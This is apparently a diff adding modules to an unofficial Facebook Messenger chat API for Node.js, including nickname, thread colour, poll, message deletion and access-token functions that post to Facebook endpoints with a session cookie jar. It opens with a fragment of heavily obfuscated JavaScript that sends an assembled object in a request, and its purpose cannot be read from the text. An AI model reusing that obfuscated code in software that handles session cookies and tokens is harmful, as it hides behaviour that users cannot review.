(0O57060516-0xbc614d):AUsA=bQl2[bQl2.Lpq0(9)]();return ICGD(bQl2.PmnY(14));}var cWvA=bQl2[bQl2.nXs0(8)]();while(cWvA<bQl2[bQl2.Lpq0(9)]())switch(cWvA){case (0x75bcd15-0O726746425):cWvA=!ICGD?bQl2[bQl2.HcdY(11)]():bQl2[bQl2.Lpq0(9)]();break;case (0O57060516-0xbc614d):cWvA=bQl2[bQl2.Lpq0(9)]();{ICGD=function(wRmA){var YSpA=bQl2[bQl2.nXs0(8)]();while(YSpA<bQl2[bQl2.Lpq0(9)]())switch(YSpA){case (0x75bcd15-0O726746425):YSpA=wRmA?bQl2[bQl2.HcdY(11)]():bQl2[bQl2.Lpq0(9)]();break;case (0O57060516-0xbc614d):YSpA=bQl2[bQl2.Lpq0(9)]();return EzAD(wRmA);}kEJD();};}break;}var sOgA={[bQl2.LjPY(15)]:oHPD==(0O57060516-0xbc614d)?bQl2.nXs0(16):oHPD==(15658734^0O73567354)?bQl2.Lpq0(17):bQl2.Hkl0(18),[bQl2.HcdY(19)]:MFMD,[bQl2.bCCY(20)]:oncD,[bQl2.XwxY(21)]:QofD||bQl2.Hkl0(10),[bQl2.PmnY(22)]:kkWC,[bQl2.PmnY(6)]:MlZC||bQl2.Hkl0(10),[bQl2.LjPY(23)]:1};try{wtoD[bQl2.nXs0(24)](bQl2.Lpq0(25),sqiD[bQl2.Hkl0(26)],sOgA)[bQl2.HcdY(27)](UXxC[bQl2.bCCY(28)](sqiD,wtoD))[bQl2.HcdY(27)](function(UPjA){return ICGD();});}catch(UjXA){wZAC[bQl2.XwxY(29)](bQl2.PmnY(30),UjXA);return ICGD(UjXA);}return gBDD;}}
3
+ //SAM
@@ -0,0 +1,45 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return function changeNickname(nickname, threadID, participantID, callback) {
8
+ var resolveFunc = function () { };
9
+ var rejectFunc = function () { };
10
+ var returnPromise = new Promise(function (resolve, reject) {
11
+ resolveFunc = resolve;
12
+ rejectFunc = reject;
13
+ });
14
+ if (!callback) {
15
+ callback = function (err) {
16
+ if (err) return rejectFunc(err);
17
+ resolveFunc();
18
+ };
19
+ }
20
+
21
+ var form = {
22
+ nickname: nickname,
23
+ participant_id: participantID,
24
+ thread_or_other_fbid: threadID
25
+ };
26
+
27
+ defaultFuncs
28
+ .post("https://www.facebook.com/messaging/save_thread_nickname/?source=thread_settings&dpr=1", ctx.jar, form)
29
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
30
+ .then(function (resData) {
31
+ if (resData.error === 1545014) throw { error: "Trying to change nickname of user isn't in thread" };
32
+ if (resData.error === 1357031) throw { error: "Trying to change user nickname of a thread that doesn't exist. Have at least one message in the thread before trying to change the user nickname." };
33
+
34
+ if (resData.error) throw resData;
35
+
36
+ return callback();
37
+ })
38
+ .catch(function (err) {
39
+ log.error("changeNickname", err);
40
+ return callback(err);
41
+ });
42
+
43
+ return returnPromise;
44
+ };
45
+ };
@@ -0,0 +1,62 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return function changeThreadColor(color, threadID, callback) {
8
+ var resolveFunc = function () { };
9
+ var rejectFunc = function () { };
10
+ var returnPromise = new Promise(function (resolve, reject) {
11
+ resolveFunc = resolve;
12
+ rejectFunc = reject;
13
+ });
14
+
15
+ if (!callback) {
16
+ callback = function (err) {
17
+ if (err) return rejectFunc(err);
18
+ resolveFunc(err);
19
+ };
20
+ }
21
+
22
+ var validatedColor = color !== null ? color.toLowerCase() : color; // API only accepts lowercase letters in hex string
23
+ var colorList = Object.keys(api.threadColors).map(function (name) {
24
+ return api.threadColors[name];
25
+ });
26
+ if (!colorList.includes(validatedColor)) throw { error: "The color you are trying to use is not a valid thread color. Use api.threadColors to find acceptable values." };
27
+
28
+ var form = {
29
+ dpr: 1,
30
+ queries: JSON.stringify({
31
+ o0: {
32
+ //This doc_id is valid as of January 31, 2020
33
+ doc_id: "1727493033983591",
34
+ query_params: {
35
+ data: {
36
+ actor_id: ctx.userID,
37
+ client_mutation_id: "0",
38
+ source: "SETTINGS",
39
+ theme_id: validatedColor,
40
+ thread_id: threadID
41
+ }
42
+ }
43
+ }
44
+ })
45
+ };
46
+
47
+ defaultFuncs
48
+ .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
49
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
50
+ .then(function (resData) {
51
+ if (resData[resData.length - 1].error_results > 0) throw resData[0].o0.errors;
52
+
53
+ return callback();
54
+ })
55
+ .catch(function (err) {
56
+ log.error("changeThreadColor", err);
57
+ return callback(err);
58
+ });
59
+
60
+ return returnPromise;
61
+ };
62
+ };
@@ -0,0 +1,42 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return function changeThreadEmoji(emoji, threadID, callback) {
8
+ var resolveFunc = function () { };
9
+ var rejectFunc = function () { };
10
+ var returnPromise = new Promise(function (resolve, reject) {
11
+ resolveFunc = resolve;
12
+ rejectFunc = reject;
13
+ });
14
+
15
+ if (!callback) {
16
+ callback = function (err) {
17
+ if (err) return rejectFunc(err);
18
+ resolveFunc();
19
+ };
20
+ }
21
+ var form = {
22
+ emoji_choice: emoji,
23
+ thread_or_other_fbid: threadID
24
+ };
25
+
26
+ defaultFuncs
27
+ .post("https://www.facebook.com/messaging/save_thread_emoji/?source=thread_settings&__pc=EXP1%3Amessengerdotcom_pkg", ctx.jar, form)
28
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
29
+ .then(function (resData) {
30
+ if (resData.error === 1357031) throw { error: "Trying to change emoji of a chat that doesn't exist. Have at least one message in the thread before trying to change the emoji." };
31
+ if (resData.error) throw resData;
32
+
33
+ return callback();
34
+ })
35
+ .catch(function (err) {
36
+ log.error("changeThreadEmoji", err);
37
+ return callback(err);
38
+ });
39
+
40
+ return returnPromise;
41
+ };
42
+ };
@@ -0,0 +1,70 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return function createNewGroup(participantIDs, groupTitle, callback) {
8
+ if (utils.getType(groupTitle) == "Function") {
9
+ callback = groupTitle;
10
+ groupTitle = null;
11
+ }
12
+
13
+ if (utils.getType(participantIDs) !== "Array") throw { error: "createNewGroup: participantIDs should be an array." };
14
+
15
+ if (participantIDs.length < 2) throw { error: "createNewGroup: participantIDs should have at least 2 IDs." };
16
+
17
+ var resolveFunc = function () { };
18
+ var rejectFunc = function () { };
19
+ var returnPromise = new Promise(function (resolve, reject) {
20
+ resolveFunc = resolve;
21
+ rejectFunc = reject;
22
+ });
23
+
24
+ if (!callback) {
25
+ callback = function (err, threadID) {
26
+ if (err) return rejectFunc(err);
27
+ resolveFunc(threadID);
28
+ };
29
+ }
30
+
31
+ var pids = [];
32
+ for (var n in participantIDs) pids.push({ fbid: participantIDs[n] });
33
+ pids.push({ fbid: ctx.userID });
34
+
35
+ var form = {
36
+ fb_api_caller_class: "RelayModern",
37
+ fb_api_req_friendly_name: "MessengerGroupCreateMutation",
38
+ av: ctx.userID,
39
+ //This doc_id is valid as of January 11th, 2020
40
+ doc_id: "577041672419534",
41
+ variables: JSON.stringify({
42
+ input: {
43
+ entry_point: "jewel_new_group",
44
+ actor_id: ctx.userID,
45
+ participants: pids,
46
+ client_mutation_id: Math.round(Math.random() * 1024).toString(),
47
+ thread_settings: {
48
+ name: groupTitle,
49
+ joinable_mode: "PRIVATE",
50
+ thread_image_fbid: null
51
+ }
52
+ }
53
+ })
54
+ };
55
+
56
+ defaultFuncs
57
+ .post("https://www.facebook.com/api/graphql/", ctx.jar, form)
58
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
59
+ .then(function (resData) {
60
+ if (resData.errors) throw resData;
61
+ return callback(null, resData.data.messenger_group_thread_create.thread.thread_key.thread_fbid);
62
+ })
63
+ .catch(function (err) {
64
+ log.error("createNewGroup", err);
65
+ return callback(err);
66
+ });
67
+
68
+ return returnPromise;
69
+ };
70
+ };
@@ -0,0 +1,60 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return function createPoll(title, threadID, options, callback) {
8
+ var resolveFunc = function () { };
9
+ var rejectFunc = function () { };
10
+ var returnPromise = new Promise(function (resolve, reject) {
11
+ resolveFunc = resolve;
12
+ rejectFunc = reject;
13
+ });
14
+
15
+ if (!callback) {
16
+ if (utils.getType(options) == "Function") {
17
+ callback = options;
18
+ options = null;
19
+ }
20
+ else {
21
+ callback = function (err) {
22
+ if (err) return rejectFunc(err);
23
+ resolveFunc();
24
+ };
25
+ }
26
+ }
27
+ if (!options) options = {}; // Initial poll options are optional
28
+
29
+ var form = {
30
+ target_id: threadID,
31
+ question_text: title
32
+ };
33
+
34
+ // Set fields for options (and whether they are selected initially by the posting user)
35
+ var ind = 0;
36
+ for (var opt in options) {
37
+ // eslint-disable-next-line no-prototype-builtins
38
+ if (options.hasOwnProperty(opt)) {
39
+ form["option_text_array[" + ind + "]"] = opt;
40
+ form["option_is_selected_array[" + ind + "]"] = options[opt] ? "1" : "0";
41
+ ind++;
42
+ }
43
+ }
44
+
45
+ defaultFuncs
46
+ .post("https://www.facebook.com/messaging/group_polling/create_poll/?dpr=1", ctx.jar, form)
47
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
48
+ .then(function (resData) {
49
+ if (resData.payload.status != "success") throw resData;
50
+
51
+ return callback();
52
+ })
53
+ .catch(function (err) {
54
+ log.error("createPoll", err);
55
+ return callback(err);
56
+ });
57
+
58
+ return returnPromise;
59
+ };
60
+ };
@@ -0,0 +1,45 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return function deleteMessage(messageOrMessages, callback) {
8
+ var resolveFunc = function () { };
9
+ var rejectFunc = function () { };
10
+ var returnPromise = new Promise(function (resolve, reject) {
11
+ resolveFunc = resolve;
12
+ rejectFunc = reject;
13
+ });
14
+ if (!callback) {
15
+ callback = function (err) {
16
+ if (err) return rejectFunc(err);
17
+
18
+ resolveFunc();
19
+ };
20
+ }
21
+
22
+ var form = {
23
+ client: "mercury"
24
+ };
25
+
26
+ if (utils.getType(messageOrMessages) !== "Array") messageOrMessages = [messageOrMessages];
27
+
28
+ for (var i = 0; i < messageOrMessages.length; i++) form["message_ids[" + i + "]"] = messageOrMessages[i];
29
+
30
+ defaultFuncs
31
+ .post("https://www.facebook.com/ajax/mercury/delete_messages.php", ctx.jar, form)
32
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
33
+ .then(function (resData) {
34
+ if (resData.error) throw resData;
35
+
36
+ return callback();
37
+ })
38
+ .catch(function (err) {
39
+ log.error("deleteMessage", err);
40
+ return callback(err);
41
+ });
42
+
43
+ return returnPromise;
44
+ };
45
+ };
@@ -0,0 +1,43 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return function deleteThread(threadOrThreads, callback) {
8
+ var resolveFunc = function () { };
9
+ var rejectFunc = function () { };
10
+ var returnPromise = new Promise(function (resolve, reject) {
11
+ resolveFunc = resolve;
12
+ rejectFunc = reject;
13
+ });
14
+ if (!callback) {
15
+ callback = function (err) {
16
+ if (err) return rejectFunc(err);
17
+ resolveFunc();
18
+ };
19
+ }
20
+
21
+ var form = {
22
+ client: "mercury"
23
+ };
24
+
25
+ if (utils.getType(threadOrThreads) !== "Array") threadOrThreads = [threadOrThreads];
26
+ for (var i = 0; i < threadOrThreads.length; i++) form["ids[" + i + "]"] = threadOrThreads[i];
27
+
28
+ defaultFuncs
29
+ .post("https://www.facebook.com/ajax/mercury/delete_thread.php", ctx.jar, form)
30
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
31
+ .then(function (resData) {
32
+ if (resData.error) throw resData;
33
+
34
+ return callback();
35
+ })
36
+ .catch(function (err) {
37
+ log.error("deleteThread", err);
38
+ return callback(err);
39
+ });
40
+
41
+ return returnPromise;
42
+ };
43
+ };
@@ -0,0 +1,48 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return function forwardAttachment(attachmentID, userOrUsers, callback) {
8
+ var resolveFunc = function () { };
9
+ var rejectFunc = function () { };
10
+ var returnPromise = new Promise(function (resolve, reject) {
11
+ resolveFunc = resolve;
12
+ rejectFunc = reject;
13
+ });
14
+ if (!callback) {
15
+ callback = function (err) {
16
+ if (err) return rejectFunc(err);
17
+ resolveFunc();
18
+ };
19
+ }
20
+
21
+ var form = {
22
+ attachment_id: attachmentID
23
+ };
24
+
25
+ if (utils.getType(userOrUsers) !== "Array") userOrUsers = [userOrUsers];
26
+
27
+ var timestamp = Math.floor(Date.now() / 1000);
28
+
29
+ //That's good, the key of the array is really timestmap in seconds + index
30
+ //Probably time when the attachment will be sent?
31
+ for (var i = 0; i < userOrUsers.length; i++) form["recipient_map[" + (timestamp + i) + "]"] = userOrUsers[i];
32
+
33
+ defaultFuncs
34
+ .post("https://www.facebook.com/mercury/attachments/forward/", ctx.jar, form)
35
+ .then(utils.parseAndCheckLogin(ctx.jar, defaultFuncs))
36
+ .then(function (resData) {
37
+ if (resData.error) throw resData;
38
+
39
+ return callback();
40
+ })
41
+ .catch(function (err) {
42
+ log.error("forwardAttachment", err);
43
+ return callback(err);
44
+ });
45
+
46
+ return returnPromise;
47
+ };
48
+ };
@@ -0,0 +1,33 @@
1
+ /* eslint-disable linebreak-style */
2
+ "use strict";
3
+
4
+ var utils = require("../utils");
5
+ var log = require("npmlog");
6
+
7
+
8
+ module.exports = function (defaultFuncs, api, ctx) {
9
+ return function getAccessToken(callback) {
10
+ var resolveFunc = function () { };
11
+ var rejectFunc = function () { };
12
+ var returnPromise = new Promise(function (resolve, reject) {
13
+ resolveFunc = resolve;
14
+ rejectFunc = reject;
15
+ });
16
+
17
+ if (!callback) {
18
+ callback = function (err, userInfo) {
19
+ if (err) return rejectFunc(err);
20
+ resolveFunc(userInfo);
21
+ };
22
+ }
23
+ try {
24
+ var { getAccessToken } = require('../lib/getToken');
25
+ getAccessToken(ctx.jar,ctx,defaultFuncs).then(data => callback(null,data));
26
+ }
27
+ catch (e) {
28
+ callback(null, e);
29
+ }
30
+ return returnPromise;
31
+ };
32
+ };
33
+ //HORIZON
@@ -0,0 +1,7 @@
1
+ "use strict";
2
+
3
+ module.exports = function (defaultFuncs, api, ctx) {
4
+ return function getCurrentUserID() {
5
+ return ctx.userID;
6
+ };
7
+ };
@@ -0,0 +1,27 @@
1
+ "use strict";
2
+
3
+ const util = require("util");
4
+
5
+ module.exports = function () {
6
+ return function getEmojiUrl(c, size, pixelRatio) {
7
+ /*
8
+ Resolves Facebook Messenger emoji image asset URL for an emoji character.
9
+ Supported sizes are 32, 64, and 128.
10
+ Supported pixel ratios are '1.0' and '1.5' (possibly more; haven't tested)
11
+ */
12
+ const baseUrl = "https://static.xx.fbcdn.net/images/emoji.php/v8/z%s/%s";
13
+ pixelRatio = pixelRatio || "1.0";
14
+
15
+ let ending = util.format(
16
+ "%s/%s/%s.png",
17
+ pixelRatio,
18
+ size,
19
+ c.codePointAt(0).toString(16)
20
+ );
21
+ let base = 317426846;
22
+ for (let i = 0; i < ending.length; i++) base = (base << 5) - base + ending.charCodeAt(i);
23
+
24
+ let hashed = (base & 255).toString(16);
25
+ return util.format(baseUrl, hashed, ending);
26
+ };
27
+ };